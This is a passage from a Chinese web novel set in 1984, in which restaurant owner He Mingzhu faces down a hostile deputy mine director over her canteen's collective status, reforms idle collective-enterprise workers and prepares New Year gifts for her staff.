“你看错了吧,现在煤矿人家都关门了,哪还有什么贺老板。要不我中午陪你去新食堂吃一顿,也省得你总是这么疑神疑鬼。” 巩副矿长没说话,深深地看了张副矿长一眼,扭头走了。 见人出去了,张副矿长从椅子上跳起来,忙不迭反锁了门。 老头身手矫健,三步两步窜到电话机旁,转动号码盘,迅速打了个电话出去。 “你告诉贺明珠,让她这段时间别在一矿露面了!她已经被老巩盯上了!” 电话另一头,传来张向党不解的声音。 “爸,你说的都是什么,我怎么一句话都听不懂?” 张副矿长急道:“哪来那么多问题!赶紧开着你那破车,把我的话告诉贺家人!” “什么破车,那叫侉子!欸,怎么挂了?” 张副矿长说完就挂断,张向党拿着话筒,楞了会儿才反应过来。 这老头子,就看不得他舒服一点。 事关贺明珠,张向党即使再懒,也不得不从温暖的暖气房出来。 他穿得厚,里外外地裹了三层,不情不愿地跨上了摩托车。 春夏秋三季开侉子是时髦人物,但在北方零下二三十度的冬天开侉子,那叫傻逼。 为了贺明珠(和她做的美食),张向党今天毅然决然就当一回傻逼了。 顶着刀割般的寒风来到三店门口,张向党的大半个身子都冻麻了。 他如同偏瘫患者,四肢僵硬地从侉子上爬下来,艰难地一步一步挪进店里。 现在没到饭点,店内没什么人,只有几个打扫卫生的服务员。 张向党喊一句:“明军儿!贺明军儿!快点过来扶我一把!” 纪平波上前来扶他,张向党却不肯,叫魂般地喊着贺明军的名字,没完没了。 贺明军从后厨转出来,脸上带着不爽的表情。 “听到了听到了,多大年纪了,还等别人搀你啊!磨磨蹭蹭的,我锅里还炖着肉呢!” 他一把抓住张向党的肩膀,连拖带拽地把他摁到椅子上。 徐和平凑过来,稀奇道:“哟,今天怎么想起开你那侉子了?我记得立冬后你不是说要封车吗?” 张向党不搭理他俩,冲纪平波伸出手:“水,给我来杯热水……” 纪平波应声给他倒了杯水,水温微烫,张向党吹着气喝了两口,将杯子握在手心取暖。 贺明军见不得他这副少爷德行,踢了踢他的腿。 “有事赶紧说。” 张向党幽怨地看了他一眼。 要不是为了你们贺家,他至于冻成这孙子样吗? “我找明珠,我爸有话让我带给明珠。” 张副矿长有事找贺明珠? 贺明军一愣。 徐和平嘴快说道:“你来晚了,老板去一矿新食堂了。” 张向党猛地从凳子上站起来。 “不好,快喊她回来,我爸不让明珠在一矿露面!” 贺明军一听也急了。 “她一个小时前出发,现在说不定已经到一矿了!” 张向党慌了:“那怎么办?!” 关键时刻,还是贺明军稳得住。 “把你车钥匙给我,我去矿上把她追回来!” 拿了侉子钥匙,贺明军大步朝店外走去。 张向党这会儿反应过来,急忙将身上披挂的厚衣服、帽子手套什么的往贺明军手上塞。 贺明军也不客气,三两下穿好御寒装备,跨上摩托车,拧动油门,发动机轰然作响。 眨眼工夫,带侧斗的摩托车如离弦之箭般飞射出去,消失在马路尽头。 饭店门口还残留着摩托车的尾气,张向党忽然意识到一个问题。 “他把车开走了,那我怎么办?” 徐和平耸耸肩:“凉拌。” 他伸手搭住张向党的肩膀,勾肩搭背地往店里走,边走边问: “和哥仔细说说,你爸当时是怎么交代你的?” 与此同时,一矿的新食堂内,来了位气势汹汹的副矿长。 “把你们食堂管事儿的给我叫出来。” 田润花正在前厅收拾桌子,见来者不善,她迎上前,客气道: “您是哪位领导?找我们负责人有什么事吗?” 不愿和服务员多说,巩副矿长冷淡道:“我是一矿的副矿长,来你们食堂检查工作。” 田润花微微瞪大眼。 副矿长?检查工作? 听着不像是什么好事啊…… 田润花说:“不好意思,我们负责人不在,要不我先带您参观一下食堂吧?” “你?你是负责人吗?” 巩副矿长轻蔑地嗤了一声,伸手不耐烦地拨开了田润花,径直走到了后厨。 杨冬梅正在准备晚上的菜,见有生人进了厨房,她下意识地拒绝对方入内。 “等等,你没消毒,你不能进来!” 对于一个小厨师的提醒,巩副矿长压根不放在眼里。 “谁是食堂大师傅?让他来见我!” 冯解放年纪大了,炒制大锅菜对他而言是不小的负担。因此,在忙完午饭后,他往往会找地方休息一会儿,精力恢复后再来做晚饭。 由于大锅菜对制作的精细程度要求没有小炒那么高,冯解放将不少菜品交给了杨冬梅,由她负责烹饪。 杨冬梅也很争气,做出的成品不亚于冯解放,在厨房里逐渐有了自己的话语权。 见来人不听劝说,硬是要进厨房,三接头皮鞋在堆满了食材的地上随便踩踏。 杨冬梅生气道:“这里是厨房,是给人做饭的地方!你把菜都踩坏了,让工人们晚上吃什么?!” 巩副矿长顺脚踢开挡在脚边的土豆,正好听到杨冬梅的话,不快道: “你洗干净不就行了吗?反正是给工人吃的,哪儿来那么多要求!” 杨冬梅气势汹汹地冲上前,挡在巩副矿长的面前,不许他再深入厨房。 “不管吃饭的人是谁,对我来说都没有差别,都必须要将菜做到最好。而且你说的话不对,正因为是工人,才更要做好菜,让大伙儿吃的顺心,满意!” 巩副矿长生得肥而壮,相比之下,杨冬梅瘦瘦小小,挡在他面前时,给人一种不自量力的感觉。 但她没有丝毫的动摇。 “这里是厨房,是做饭的地方,你没换工作服,没戴帽子,手上也没消毒,我不能让你进来!” 巩副矿长没想到一个小小的厨师居然敢这么和他说话,瞪起了眼睛,怒道: “我是副矿长,我来检查工作,我想去哪儿就去哪儿!” 杨冬梅却很坚持。 “就算是检查工作,你也不能不讲理吧!不管你是不是副矿长,你想要进厨房就必须换衣服戴帽子,要是有一根头发掉到菜里,那就是我的失职!” 别看身形瘦小,杨冬梅的嗓门倒很洪亮,一时间,她的气势竟和巩副矿长不相上下。 巩副矿长和杨冬梅僵持起来,谁也不肯放弃。 这时,一道声音传来。 “巩副矿长,您这是干什么呢?欺负女职工吗?” 巩副矿长闻声看去,只见门口背光处站着个小白杨似的姑娘。 小白杨冲杨冬梅点点头,转而对巩副矿长说道: “您不负责我们食堂的管理,特地来这一趟,是对食堂的工作有什么意见吗?” 巩副矿长不确定道:“你、你是那个……贺,贺什么来着?” 磕巴了半天,他终于想起来。 “贺明珠!” 小白杨侧过身,阳光洒在她的脸上。 “是我,我就是贺明珠。” 终于钓出这尾大鱼了! 巩副矿长顾不上和小厨师纠缠,转而将目标对准了贺明珠,单刀直入道: “这食堂是你开的?” 贺明珠微笑道:“不是哦,这是一矿内部食堂,怎么会是我开的呢?” 巩副矿长逼问道:“不是你开的食堂,为什么煤矿人家的厨师和服务员会在食堂上班?” 贺明珠作思考状。 “可能是个人职业规划吧……毕竟在公家单位上班,有编制,有劳保,总比在个体户饭店强呢。” 这话是当初一矿饭店的人挖角冯解放和田润花时说的,此时被贺明珠原样奉还。 巩副矿长被噎了一下。 他没想到面前这个小姑娘居然这么狡猾,当着他的面,面上还能不露一丝痕迹。 要知道就算是老狐狸张副矿长在被他问到面上,心中震荡时,也会泄露在表情上。 但贺明珠却是轻飘飘的,似乎什么话都不能让她有所动摇。 面对这个似笑非笑的小姑娘,巩副矿长火气上来了,重整旗鼓。 “既然食堂不是你开的,那你来干什么?你是一矿职工吗?谁允许你进来的?!” 他说话时粗声粗气,加上常年当领导养出的气势,不明所以的人还真会被他这两句吓到。 但贺明珠没有。 “虽然我不是一矿职工,但我是食堂顾问,我想,顾问应该有权来工作地点现场指导吧。” “顾问?” 巩副矿长咄咄逼人地追问道:“什么顾问?” 贺明珠笑眯眯地说:“食堂还能有什么顾问,当然是做菜顾问呀。” 巩副矿长不信,冷哼一句:“食堂大师傅多少年的经验,还需要你个丫头片子做顾问?” 话音未落,一道苍老的声音插入。 “我需要。” 冯解放气喘吁吁赶了过来,气都没喘匀,就急忙接过话。 田润花紧跟在他身后,紧张地看着面前几人对峙的场面。 方才是她见情况不对,急忙跑去喊冯解放过来的。 冯解放对巩副矿长说:“贺老……贺明珠同志在厨艺方面的造诣更胜一筹,我需要她的帮助。” 贺明珠感激地冲冯解放点点头,接着,她对巩副矿长说: “听到了吧,我确实是食堂顾问呢。” 没想到这个老厨师宁愿自污、也要吹捧贺明珠,巩副矿长恼羞成怒了。 “你们当我是傻子吗?什么食堂顾问,什么职业规划,分明都是谎话!” 巩副矿长声色俱厉地怒吼,声音响彻了整个食堂。 “敢在一矿干这种投机倒把的营生,我要让人封了你的食堂!” 这句话并不是威胁,他有权力,也有能力强行关闭食堂。 闻言,冯解放、杨冬梅、田润花脸上纷纷露出担忧的神色。 巩副矿长吼道:“你这个体户竟然敢跑到公家单位撒野,我要报警把你们都抓起来!” 太吵了,贺明珠揉了揉耳朵。 “好吧好吧,我承认,食堂确实是我开的。” 她承认了! 巩副矿长心中狂喜,可下一秒,他又听到贺明珠说: “但个体户这个词,不适合用在这里呢。” 她不避不让地迎向巩副矿长狐疑的目光,笑着说: “我们食堂可是大集体性质啊。” 第110章 第110章红帽子还是红鞋子(修…… 这个食堂是大集体性质的? 巩副矿长像是听到了什么笑话,当即反驳道: “你在说谎!你一个体户开的食堂怎么可能是集体性质?!” 谁不知道厂办大集体是由国企开办的,用来安置国企职工的子女和回城知青。 厂办大集体有且只有一个上级领导,那就是出资兴办的国企。 个体户开的食堂怎么可能会是大集体?这明明就是胡说八道! 巩副矿长逼视着贺明珠,咄咄逼人道: “你别想在我面前撒谎!老老实实回答,是谁让你在矿上开食堂的?你腐蚀了哪个国家干部?!” 贺明珠却不慌不忙道:“您没必要这么激动,巩,副矿长。” 她特意强调了“副”字。 “我们食堂的开办经过了正规流程,办理了合法手续,全程都在阳光下,没有一丝见不得人的地方。您在没有根据的情况下随意指责,实在很不恰当。” 巩副矿长冷笑一声:“你还想狡辩?!” “是不是狡辩,您问问老矿长就知道了。” 贺明珠说:“而且据我所知,和新食堂情况相似的大集体企业,在矿务局内还有许多家。” 当提到老矿长,巩副矿长冷静了些,语气也不再具有强烈攻击性。 “你是说,矿务局还有个体户掺和大集体的?” “那不是掺和,是承包。” 贺明珠严谨地更正了巩副矿长的说法。 “您可能不太清楚,由于大集体亏损严重,给国企持续造成巨大经济压力,不少厂矿就将集体企业转给私人,把这个沉重的包袱甩了出去。” 巩副矿长狐疑地看着贺明珠。 他当然听说过矿务局内有单位把自办的大集体企业转给私人经营,这不算什么稀罕事,就连一矿,也有领导在班子会议上隐晦提出将几家严重亏损的大集体扔出去。 毕竟这些大集体企业当初开办时是基于政治目的和社会效益,政治挂帅而不是经济挂帅。 在没有廉价易得的**乐的年代,社会上过多的待业青年不仅影响其家庭内部的和谐,而且会造成社会的不安稳。 因此,为了解决待业青年的就业问题,国家广开就业渠道,其中就包括允许子女顶班。 但在独生子女政策还没有推行的年代,普通家庭的孩子数量经常是两个以上,上限不论。而可以顶班的父母工作最多才两个,其余孩子依然没有工作。 而开办集体企业就成为了解决待业问题的重要办法。 在改革开放后的一段时间里,国企开办大集体企业,街道开办小集体企业,集体经济就这么轰轰烈烈地发展起来了。 然而,这里有一个问题。 一般企业是确立经营方向和经营方式、并且开始盈利后,才按照需求招人,换句话来说,就是可着脑袋做帽子; 而集体企业却是先确定要解决多少就业,才去考虑要做什么 业务,帽子都做好了才去找脑袋。 这也就导致大集体企业在开办初期本身没有造血功能,需要依赖开办的国企来输血。 尽管有的厂办大集体在度过初期困难时期后,成功摆脱依赖,能够自负盈亏,循环造血。 但对于大多数集体企业来说,这根与国企相连的“脐带”却是在三十年后都无法摆脱。 而国企也不得不背负起这个越来越沉重的包袱,直到再也无法负担。 八十年代大量兴办的集体企业,直到三十年后,才在政府的主持下开启了一场厂办大集体改制,将这个生长在国企身上的巨型畸胎瘤彻底切除。 三十年,一代人的黄金期就这么过去了。 1984年的人们或许无法预料到集体企业改制这么久远的事情,但在当下,对于只出不进的集体企业,一些国企已经在想办法甩包袱了。 其中就包括了一矿。 巩副矿长虽然知道矿领导们有心效仿矿务局其他厂矿,把矿上开办的几家大集体都转给私人,但他不相信,或者说不远相信,会是贺明珠拿到了食堂。 他怀疑地看向贺明珠。 贺明珠说:“巩副矿长,您没必要这么看着我,虽然食堂是集体企业,但我可没占矿上的便宜。换句话说,一矿才是占便宜的一方,可算是把包袱甩出去了,矿领导们不知道有多乐呵呢。” 巩副矿长问道:“你有什么证据?” 贺明珠干脆地说:“有合同,但不能给你看。” 巩副矿长下意识问道:“为什么不能给我看?里面内容有什么见不得人的?” 贺明珠狡黠笑了。 “当然没有,我就是不乐意给你看,不行吗?” 听到贺明珠的话,旁边几个人不知谁没忍住,“噗嗤”一声笑出了声。 巩副矿长气得脸都红了,指着贺明珠“你、你、你”了半天,说不出完整的句子。 贺明珠好心提醒一句:“您和我急没用,合同一式两份,我拿一份,矿上拿一份。您要是真想看,不如去问老矿长要,如果他认为您有必要了解情况,您肯定能看到。” 巩副矿长更生气了。 他连这家新食堂是大集体都不知道,明显是被排除在了决策圈之外。 这个老矿长,把三产房子给了他,却同时将大集体转给背靠张副矿长的贺明珠,两个副矿长都不得罪,真是端得一碗好水! 讨不到便宜,还被气得够呛,巩副矿长不再和贺明珠纠缠,扭头就走了。 目送巩副矿长气鼓鼓离开的背影,杨冬梅不可置信地说: “他就这么走了?” 贺明珠笑道:“行了,没事了,都散了,大家该干什么就干什么去吧。” 冯解放不放心地问道: “这个副矿长不会再来了吗?” 贺明珠肯定道:“放心吧,他不会来了。” 田润花笑着说:“还是小老板厉害,几句话就送走了人。这个领导的脾气可真差,进了门四处找事,不知道的还以为他是来打人的呢。” 杨冬梅捡起地上被踩了几脚的大白菜,心疼地剥掉表层的菜叶。 “就是可惜了菜……” 贺明珠安慰道:“一点菜而已,没关系的。杨姐,幸好有你在厨房,不然要是让他进来,锅里的菜都得倒了重新做。” 冯解放也说:“小杨是好,有担当,有底线。” 贺明珠笑眯眯地说:“都是师父教得好。有你们两位在,我才不用担心食堂的事呢。” 聊了几句,众人散开,继续去忙之前被巩副矿长打断的工作。 冯解放却没有走,将贺明珠拉到一旁,悄悄地说: “老板,这大集体里原来的人得管一管啊……” 冯解放说的含蓄,但贺明珠一听就懂他的意思。 “您放心,我有主意。” 听贺明珠这么说,尽管还不知道她的主意是什么,但冯解放已经放下了心。 不过他还是多提了一句。 “要尽快啊,不能让他们把我们食堂的风气带坏了……” 贺明珠明白冯解放的担忧。 一矿虽然同意将大集体转给贺明珠,但这不是没有代价的。 代价就是,贺明珠要接手大集体原先职工,共计二十余人。 虽然看着人数不多,但可都是一群懒惯了的大爷。 贺明珠接手的大集体企业的全名是“乌城矿务局一矿劳动服务公司”。 从名字就可以看出,这家大集体没有明确的主营业务,也缺乏盈利点,完全是为了开办大集体企业而开办的大集体企业。 也就是说,在劳动服务公司开办时,设立的唯一目的就是吸纳待业的一矿职工子弟。 贺明珠在接收劳动服务公司时,就翻阅了全部职工的档案。 这些人没有什么学历,也缺乏专业技能,不是考不上大中专的初高中毕业生,就是作为回城知青的大龄青年。 其中最荒谬的一个职工,是一位还不满十二岁的男孩,被家人找关系塞了进来。 贺明珠还以为是自己看错了,掰着手指算了几遍,才敢确定她确实是被塞了个童工。 贺明珠:…… 贺明珠严肃表态,坚决拒绝接收这个男孩。 负责和她交接公司的小领导苦口婆心地劝道: “再等几年他不就满十八岁了,你变通一点嘛,你现在把人开除,他家里人要来闹事的。” 贺明珠态度坚决:“不行,不能开这个口子。今天是十二岁,明天就是八岁,后天两岁的也能送来了,要是这样的话,我宁愿换一家大集体。” 小领导心直口快:“下一家说不定还不如这家呢!” 贺明珠:“……那我找别的单位去!” 矿务局这么多的大集体企业,她就不信了,没有其他单位想甩包袱。 南方有些地方七山二水一分田,工业不发达,农业吃不饱饭,即使投机倒把罪最高死刑,也拦不住要讨生活的当地人。 但北方就不一样了,工业发达,人均耕地面积大,在有饭吃有钱赚的情况下,很少有人想不开去冒天下之大不韪,顶风做生意。 矿务局多的是想甩包袱的厂矿,可愿意接手这些大集体企业的人寥寥无几。 除了贺明珠,一矿一时间还真找不到下一个顶包的冤大头。 小领导无奈道:“好吧好吧,就按你说的来,哎,年轻人,就是太理想主义了。” 理想主义吗? 如果这都是理想主义,那贺明珠就不知道什么才是实用主义。 她已经对这帮被迫接收的职工没有任何要求了,总不能连成年这条基本红线也要跨过吧? 小领导果然有经验,被清退的男孩家人不知从哪儿得知是贺明珠接手劳动服务公司,竟然找上了门,要求贺明珠必须给个说法。 贺明珠:“国家规定了公司只能雇佣成年人,我是按规定办事。您要是不服,就到法院告我吧。” 面对贺明珠的拒绝,男孩家人思路很清奇。 “那我找关系把这小子的出生年月改了不就行了吗?” 贺明珠:“……就算改了出生年月也改不了他就是个十二岁小孩的事实啊!” 实在说不动贺明珠,加上旁边还有贺明军和徐和平虎视眈眈,男孩家人讨不到好处,纠缠半天后,最后只得悻悻离去。 但这只是一个开始。 尽管贺明珠在接收劳动服务公司的时候,就做好了要接手一群懒汉的准备,但现实还是给她狠狠上了一课。 见过平时不上班、只在发工资时出现的大爷吗? 见过干活就喊累、打架就来劲的大爷吗? 见过口口声声“单位不嫌我懒,我也不嫌工资低”的大爷吗? 见过找上门骂老板“资本主义走狗”的大爷吗? 很不幸的是,贺明珠都见了一个遍。 她甚至有些匪夷所思,为什么直到三十年后国企才不堪重负,开始进行厂办大集体改制呢? 在贺明珠看来,这种从未盈利、毫无市场竞争力、全靠国企养着的大集体,一个月就应该倒闭啊! 要不是这年头 不许私人开公司,个体户的雇工数量还不能超过八个,动辄就要被扣上“投机倒把”的帽子,贺明珠才不要当大集体的接盘侠。 怪不得当时老矿长那么爽快地同意让她戴上了这顶“红帽子”,就连可以作为单位小金库的管理费也只象征性地收了一千块钱,每年。 合着这压根不是“红帽子”,而是童话里逼人跳舞至死的“红鞋子。” 贺明珠:……我要是重生在1993年就好了,哽咽。 但这也只能想想,毕竟她也没法和重生大神谈条件,能重生就不错了,还要什么自行车。 在筹办新食堂的同时,贺明珠开始了和这帮大爷们的斗智斗勇。 不来上班是吧? 停发工资和劳保,直到恢复上班为止。 不服?想从财务手上抢钱? 行,那咱们公安局走起——正值严打期间,我想你也不想被公安叔叔知道吧.jpg 干活就喊累、打架就来劲是吧? 上,二哥!不用客气,给他留口气就行! 贺明军是在实战中练出来的,在海上走私时和人斗狠,又真刀真枪地和通缉犯打过一场,论起打架来,寻常人压根不是他的对手。 打完了送上一瓶红药水,贺明珠和蔼可亲地问:“干活,还是接着打架?” “……干活吧。” 至于那位“单位不嫌我懒,我也不嫌工资低”的大爷,不好意思,你可以不嫌工资低,但现在单位嫌你懒。 要不规规矩矩地来上班,要不就一分工资都别拿。谁家公司也不能养懒汉啊! 还有破口大骂“资本主义走狗”的,贺明珠非常热情地想要帮助他调回其他大集体企业,以免他被资本主义腐蚀。 但这位大爷不肯走,因为其他大集体企业开的工资更低。 他就这么一边骂骂咧咧,一边朝九晚五地正常上班。 贺明珠软硬兼施,终于达成了最低目标——让大集体职工来上班。 谁敢信,作为老板,贺明珠对手下职工的要求只有一个。 “大爷们,求求你们来上班吧!” 真是闻者惊心见者流泪,要是被后世那群九九六零零七的牛马看到,还不知要怎么痛哭流涕。 怎么会有人不用上班也能拿到工资和社保啊?! 开办大集体企业的初衷虽好,但却养出了一群手心向上的懒汉。 不过幸好现在是1984年,这群人只被养了短短几年,还没有养出后世那种根深蒂固的思维,理直气壮地要求单位必须无偿包办一切。 劳动服务公司里的职工都是年轻人,年纪最大的才不到二十三岁。 年轻人脸皮薄,对于廉耻二字还比较看重,同样的,他们对未来还有期许,这才能让贺明珠勉强将这群人推上了正轨。 新食堂筹办的事千头万绪,但其他事情贺明珠都放手让田润花和杨冬梅去处理,也是对她们领导能力的一种锻炼。 只有调教大集体职工的事是贺明珠自己在做。 说起来也简单,不过是一手大棒,一手胡萝卜。 在贺明珠接手前,劳动服务公司的平均工资不过十块钱,还不到新入职的国企职工的工资的一半。 而贺明珠接手劳动服务公司后,将工资提高到了二十块钱。 虽然这个数字说起来也不高,但相比于此前的工资水平,已经是翻倍了。 而且贺明珠明确对大集体职工说了,二十块钱只是过渡期的工资,等新食堂的运营正式步入正轨,工资水平还会上升,直到和国企平均工资持平。 大集体的职工问道:“过渡期要多长时间?” 贺明珠只说了一句:“时间不定。” 众人皆哗然。 时间不定是什么意思,没有明确的时间节点,就可以一直是过渡期,一直拿着二十块的工资。 高喊“资本主义走狗”的那位仁兄站出来抗议。 “你根本不想给大伙儿涨工资,所谓的‘过渡期’不过是你的借口罢了!” 贺明珠挑眉,说:“我要是不想涨工资的话,那我完全可以不提这件事啊,我干嘛要说出来给自己找事儿呢。” “走狗”兄卡壳了,“不嫌单位”兄顶了上来。 “谁知道你是不是想给我们吊个胡萝卜,让我们替你卖命干活?” 贺明珠真心地问:“我要是真吊了胡萝卜,你会认真上班吗” “不嫌单位”兄机智地说:“那你先涨了工资再说。” 贺明珠问他:“我要是真涨了工资,你以后能不迟到早退吗?” “不嫌单位”兄:“……能、能吧……” “哼!说来说去,你就是不说过渡期是多久!我看你就是骗大伙儿的!” 不来上班、照领工资不误的那位哥开口了,满脸都是被迫上班的怨念。 “对!什么涨工资,做不到就不要说!” “我才不信,谁信她的话谁傻!” “有本事现在你就把我们的工资都涨了!” 一部分人叫嚷起来,他们习惯了手心向上的日子,最不能接受劳动服务公司被私人接手,更不能接受自此以后要按时上班。 贺明珠不说话,冷眼看着几个带头起哄的。 也有职工看不下去了,主动打圆场,大声道: “别吵了,都静静,听听贺老板是怎么说的!我相信贺老板既然将大伙儿的工资从十块钱涨到了二十块钱,就不是那种只在嘴上说说的人。你们这样吵,是想让大集体重新归一矿管、再拿十块钱的工资吗?!” 听了这句话,人群渐渐安静下来。 虽然不上班的日子很清闲,但十块钱的工资也是真的低,平均下来一天才三毛钱,别说下馆子了,连肉都吃不起。 虽然嘴上抱怨得厉害,可大多数人还是更愿意让私人接管大集体。 毕竟,谁都想过更好的生活。 等人群安静了下来,贺明珠才开口道: “我之所以没有设定明确的过渡期节点,是因为过渡期的条件不是时间,而是各位的表现。” 依旧是“走狗”兄率先问道:“什么表现?” 贺明珠说:“工作表现。如果你们的工作表现可以和田润花、杨冬梅、冯解放看齐时,就算过渡期通过,全体上涨工资,但需要注意的是,各位的工资上涨幅度不会相同。” “不嫌单位”兄口口声声“不嫌工资低”,可到了这时候,他比谁都关心工资。 “涨多少?怎么涨?” 贺明珠说:“过渡期内表现优越的,工资上涨至四十块;表现良好的,工资上涨至三十块;表现及格的,工资上涨至二十五块。” “至于表现恶劣的,不好意思,我不需要你,你可以不用来上班,我会按照一矿要求,按最低来发放工资和劳保。” 其实贺明珠是想辞退的,但小领导对此很坚决,表示有编制的职工不能辞退,哪怕只是集体编。 贺明珠含泪咽下苦果,就当是取得大集体企业的代价吧。 听完贺明珠的话,“嗡”得一声,众人议论了起来。 到底是要将懒汉思维贯彻到底,还是努力一把,奋发向上呢? 另一边,巩副矿长已经意识到了,作为一个外来户,他在一矿的处境比想象中要更糟。 不仅消息不灵通,而且在一些事情的处理上,他也没有被纳入决策层中。 就像这次的事情,收回三产房子、由一矿来开办饭店,在他一力主张下,进行得很顺利,抢走了张副矿长碗里的肉。 然而,与此同时,张副矿长也将亏损严重的大集体转给私人,在矿上开起了新食堂。 一进一出,两个副矿长之间竟是谁也没压过谁,达成了一种诡异的平衡。 最后只有老矿长稳坐钓鱼台。 经此一役,巩副矿长收敛了不少,不再如同之前那么咄咄逼人。 而持续亏损的一矿饭店,则在某一天悄无声息地关了门。【你现在阅读的是魔蝎小说 moxiexs】 110-120 第111章 第111章腊八腌蒜与过年礼…… 俗话说得好,过了腊八就是年。 进入了一年中最冷的时节,室外滴水成冰,寒风如刀,刀刀在行人身上凌迟。 而贺家此时却热闹极了。 “我来,我会,让我剥!” 贺小弟蹦跶着朝兄姐们伸手要蒜,热情地想要加入劳动的行列中。 贺明军从蒜辫子上扯下一颗紫皮大蒜,转手抛给贺小弟。 “接好喽!” 蒜抛得高,在空中划过一条抛物线,到达顶点后迅速下坠。 贺小弟仰着小脑袋,两只肉乎乎的小手高高举起,眼睛一眨不眨地盯着蒜。 “啪”的一声,大蒜精准地砸到他的脑门上。 贺小弟不生气,嘎嘎乐起来。 “哈哈哈,掉我头上了!” 他捡起蒜,趴在桌沿,模仿着大人模样剥蒜,屏住呼吸,以免将轻薄的蒜皮吹得到处都是。 乌城素来有吃腊八蒜的习俗,也就是在腊八这天,把大蒜剥了皮,用醋腌在玻璃瓶里。 原本雪白的蒜米,在陈醋中泡得时间久了,就变成了绿色。 寒冬腊月,树上的叶子都落干净了,只剩下四面纵横的枯枝,看着颇为单调。 靠窗的阳台上摆上一瓶绿莹莹的腌蒜,虽然还没吃到嘴里,但似乎能感受到清爽的滋味。 贺家腌蒜用的是山西老陈醋,封口前加上一勺白糖,腌好的蒜吃起来酸中带甜,还有一丝蒜特有的辛辣,极为解腻爽口。 说起来,贺家有两年没有在腊八腌蒜了。 先前兵荒马乱,全家人过得一团糟,每天心情压抑,别说腊八了,就连过年都没心情。 贺小弟记事以来,还是头一次参加腊八限定腌蒜活动。 他不懂腊月的含义,也不明白为什么要在腊八腌蒜,但小孩子精神头足,干什么都来劲儿。 见到哥哥姐姐们在剥蒜,贺小弟就急不可耐地要参与。 他笨拙地剥开蒜皮,指甲在蒜米上留下好几道掐痕,眼见将来腌好的蒜上要留下几条**子。 不过贺家没人苛责贺小弟剥的不完美,相反的是,贺明珠欣然将自己面前的一小堆蒜推给了他。 “剥得真好!你帮姐把这些都剥了吧。” 贺小弟乐呵呵地应了声“哎”,丝毫没有被支使干活的小脾气。 贺明军见状,立刻也将自己面前的一辫子大蒜都推给了贺小弟。 “来来来,你也替哥剥了吧。” 贺小弟看看比他的小手腕都粗的蒜辫子,再看看贺明军,扁了扁嘴。 “二哥,老师说了,自己的事情要自己干!” 贺明军屈指敲敲他的小脑袋瓜:“嘿,你小子!怎么能帮你姐的忙,就不能帮我的忙啊?” 贺小弟傲娇地一扭头。 “哼!我乐意!” 贺明军被气笑了:“好,你等着,以后二哥不给你做好吃的了。” 贺小弟继续傲娇:“哼!我姐也会做好吃的!” 一大一小两兄弟幼稚地斗起了嘴,贺明珠趁机溜了出去。 这一年过得可真快,马上就要过年了。 回想去年,她还在顶着寒风出街摆摊,被一矿的保卫科干事撵得四处流窜。 而现在她已经成功将打进了一矿内部,那几个保卫科干事还是食堂常客,经常能看到他们来打饭。 这一年发生的事情也很多。 推着自行车摆摊,为了棒骨和人斗智斗勇,好不容易租了房子、开了饭店,却又要面对前任房客给顾客留下来的糟糕印象。 她用厨艺证明了耗子饭店是过去式,洗涮干净名声后却又迎来一群占便宜的鬣狗。 在分矿开了二店,和村里合办了养鸡场,生意步入正轨,却倒霉遇到上门抢劫的通缉犯。 一桩桩,一件件,当时或气愤或恼怒或措手不及,可最终,贺明珠一步一步地趟过了难关。 她开了两家饭店一家食堂,打响了煤矿人家的名声,还戴上了一顶红帽子。 虽然在此过程中,贺明珠不断要面对各式各样令人头疼的对手,可她也认识了许多新的朋友。 徐和平、冯解放、曹全安、田润花、杨冬梅、费立广…… 她不再是一个人单打独斗。 马上就要过年,虽然接手劳动服务公司后,账上的钱花得七七八八,但贺明珠还是决定给大伙儿发一波过节福利。 尽管比不上国企财大气粗,但贺明珠不是小家子气的人。 她找到郝村长,按市价预订了一批出栏肥鸡;又给恩和森发了一封电报,采购了几十头整羊。 此外,贺明珠还联系了许大舅,从村里买了几车冬储菜。 这年头物流通讯两不便,赶在过年前,这些东西才陆陆续续都到齐。 贺明珠喊来徐和平打下手,找来一辆板车,将物资分别送到了一矿新食堂和三店。 二店离得远,而且除了郝翠兰和郝大婶,其他人的家都在矿务局。 因此,贺明珠让齐小弟在去分矿上班时,将属于郝翠兰和郝大婶的福利捎带过去。 郝大婶在收到东西后,非常的惊喜。 “还有俺的份呢!俺还寻思没俺的事儿,这贺老板可真是个大方人!” 郝翠兰抿着嘴笑:“小老板当然好,要不然她生意能越做越大,就是因为她人好。” 曹全安接了一句:“嘿,瞧你这话说的,合着我开饭店没开成,全是因为我人不好啊?” 郝翠兰耿直地说:“曹师傅,不是俺说,你确实没小老板人好,你心眼太多了。” 曹全安气得吹胡子瞪眼睛。 “哎,你这小妮儿,咋能这么讲话嘞!” 在郝家村待久了,曹全安的口音也是日渐被村里人同化,虽然还不会说本地土话,但他的普通话已经带上了村味儿。 郝翠兰不甘示弱:“俺说得哪不对了?自从二老板不来分矿,你现在越来越懒,客人来了都不进厨房,做菜的事全推给了小齐。曹师傅,你要是再这样,俺可就要告小老板了!” 曹全安急道:“谁说我偷懒?我这明明是培养小齐,厨子不就得多下厨吗?要不是我放手让他去干,他怎么能在这么短的时间里就学会做菜?” 他还嘟囔了一句:“要不是看在他是老板家亲戚,我才不培养他呢,这不是给自己找人替代嘛……” 郝翠兰一扬下巴:“俺不管,反正就是你懒!” 见两人又要吵起来,齐小弟熟稔地劝架。 “曹师傅,你别说了,你又说不过翠兰姐,回头你又要气得睡不着;翠兰姐,你也少说两句,曹师傅年纪这么大,气出个好歹怎么办?” 曹全安恼道:“你说谁年纪大呢!” 郝翠兰倒是听进去了齐小弟的话,哼了一声,不再和曹师傅对着吵,而是去查看齐小弟搬来的箱子里都放了些什么东西。 不多时,传来她惊喜的声音。 “是玻璃丝袜!还有新头花!小老板真好!俺就想要这个!” 郝大婶好奇的声音也传了过来。 “啥叫玻璃丝袜?这么薄的料子,冬天能穿吗?” “冬天穿不了可以夏天穿啊!玻璃丝袜在城里商店才有卖的,可难买了,俺去了几趟都没买上。” “哎呀,还是贺老板懂你们小妮儿,给俺可不要,俺宁愿拿什么玻璃袜换只鸡……” 齐小弟冲曹全安笑:“曹师傅,您别生气了,这马上就要过年,高高兴兴的不好吗?小老板已经让人把过节礼送到你们家了,听说厨师长收到的福利可多了,有半扇羊呢!” 曹全安斜眼瞧他,哼哼唧唧地说:“你倒是现在会说话,练出来了啊。” 齐小弟笑眯眯地说:“都是师傅培养的好。” 曹全安撇嘴:“我可不敢当。行了,明天是腊月二十九,饭店要关门休息,你打扫完店里就早点坐车回家吧。” 回家,吗? 